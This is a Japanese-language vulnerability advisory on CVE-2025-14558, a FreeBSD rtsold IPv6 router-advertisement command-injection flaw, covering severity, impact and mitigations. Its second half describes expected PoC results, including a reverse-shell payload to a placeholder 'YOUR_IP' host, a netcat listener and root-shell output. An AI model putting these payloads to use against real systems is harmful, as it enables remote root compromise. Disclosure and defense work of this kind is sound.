🚨 CVE-2025-14558 : FreeBSD (IPv6) における深刻なリモートコード実行

🧠 概要

CVE-2025-14558 は、IPv6 ルーター要請サービスを使用する FreeBSD システムに影響を与える 深刻なリモートコード実行 (RCE) 脆弱性です。信頼できないネットワーク入力の処理方法の欠陥により、攻撃者が任意のシェルコマンドを実行できるようになります。

📊 深刻度

• CVSS v3 スコア: 9.8 / 10 🔥
• リスクレベル: 深刻
• 必要な権限: なし
• ユーザー操作: なし

🎯 影響を受けるコンポーネント

• rtsol(8)
• rtsold(8)
• FreeBSD システムで IPv6 ステートレスアドレス自動設定 (SLAAC) を使用しているもの

⚙️ 技術的詳細

• 悪意のある IPv6 ルーターアドバタイズメント (RA) パケットに、巧妙に細工された ドメイン検索リストオプション を含めることができます
• 入力が resolvconf(8) に 安全でない方法で 渡されます
• 不適切なシェルクォーティング によりコマンドインジェクションが可能になります
• root として任意のコマンド実行 に至ります

🕸️ 攻撃ベクトル

• 🌐 ネットワークベース
• 📍 攻撃者は 同じローカルネットワークセグメント にいる必要があります
• 認証や資格情報は不要

💥 影響

悪用に成功した場合、攻撃者は以下が可能です：

• 完全なシステム侵害 を達成
• 任意のコマンドを実行
• システム設定を変更
• 永続性の確保または横移動を確立

🧪 エクスプロイトの入手可能性

• ✅ 公開された概念実証 (PoC) が存在します
• 細工された IPv6 RA パケットによるコマンド実行を示します

🛡️ 緩和策と防御

強く推奨される対策:

• 🔧 公式の FreeBSD セキュリティパッチ を適用する
• 🚫 IPv6 RA が不要な場合は rtsol / rtsold を無効にする
• 🔒 信頼できない IPv6 ルーターアドバタイズメントをフィルタリングまたはブロックする
• 🧱 ネットワークセグメンテーションを使用してローカル攻撃者の露出を制限する

📝 重要なポイント

信頼できないネットワーク上で IPv6 ルーターアドバタイズメントをリッスンしている FreeBSD システムはすべて高いリスクにさらされています。 すぐにパッチを適用するか、影響を受けるサービスを無効にしてください。

CVE-2025-14558 の PoC スクリプトが脆弱な FreeBSD システム（パッチ未適用、rtsold が実行中で IPv6 RA メッセージを処理している）で正常に動作した場合：

ターゲット（脆弱な FreeBSD マシン）側：

• 注入されたコマンドは 即座に root として実行 されます（rtsold は root で動作し、悪意のあるドメインを含む /sbin/resolvconf を呼び出すため）。
• デフォルトではコンソールやログに目に見える出力は表示されません（コマンドはバックグラウンドで静かに実行されます）。
• 発生する例：

  • --command "id > /tmp/pwned" のような単純なテストの場合：

    • 次のような出力を含むファイル /tmp/pwned が作成されます：

      root@kitploit:~

      uid=0(root) gid=0(wheel) groups=0(wheel)
      

  • --command "touch /tmp/exploit_success" の場合：

    • 空のファイル /tmp/exploit_success が出現します。

  • --command "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1" のようなリバースシェルの場合：

    • ターゲットに目に見える即時の変化はありませんが、リスナーへの接続試行が行われます。

ターゲットで以下のようなコマンドで確認します：

ls -l /tmp/pwned
cat /tmp/pwned

攻撃者側（スクリプト実行時）：

• スクリプトは以下のように出力します：

  root@kitploit:~

  [+] Sending malicious RA on eth0
  [+] Injected command: id > /tmp/pwned
  [+] Target must run vulnerable rtsold and process the RA
  [+] Done. Check target for execution (e.g. /tmp/pwned)
  
  

• リバースシェルの場合：成功すると、nc -lvnp 4444 が接続を受け取り、root シェルを取得します：

  root@kitploit:~

  listening on [any] 4444 ...
  connect to [YOUR_IP] from (UNKNOWN) [target_ip] XXXXX
  bash: cannot set terminal process groups: No job control in this shell
  bash: no job control in this shell
  root@vulnerable-host:~ #
  

  ---

  （これで root シェルを取得しました – id、whoami などのコマンドを入力できます）

動作しない場合：

• ファイルが作成されない／接続がない → 原因：ターゲットがパッチ適用済み、rtsold が実行されていない、同じ L2 ネットワーク上にいない、ファイアウォールが RA をブロックしている、または IPv6 が無効になっている。

これは、脆弱な（2025年12月16日のパッチ適用前の）FreeBSD システム上での管理されたラボでのみ観察可能です。2025年12月23日時点で、実際の環境での公開エクスプロイト報告はありません。本番環境では直ちにパッチを適用してください。

⚠️ 免責事項：この情報は情報提供のみを目的として提供されており、セキュリティ、法的、または運用上のアドバイスを構成するものではありません。是正措置を講じる前に、必ず公式ベンダーの勧告、パッチ、およびガイダンスを確認し、それに従ってください。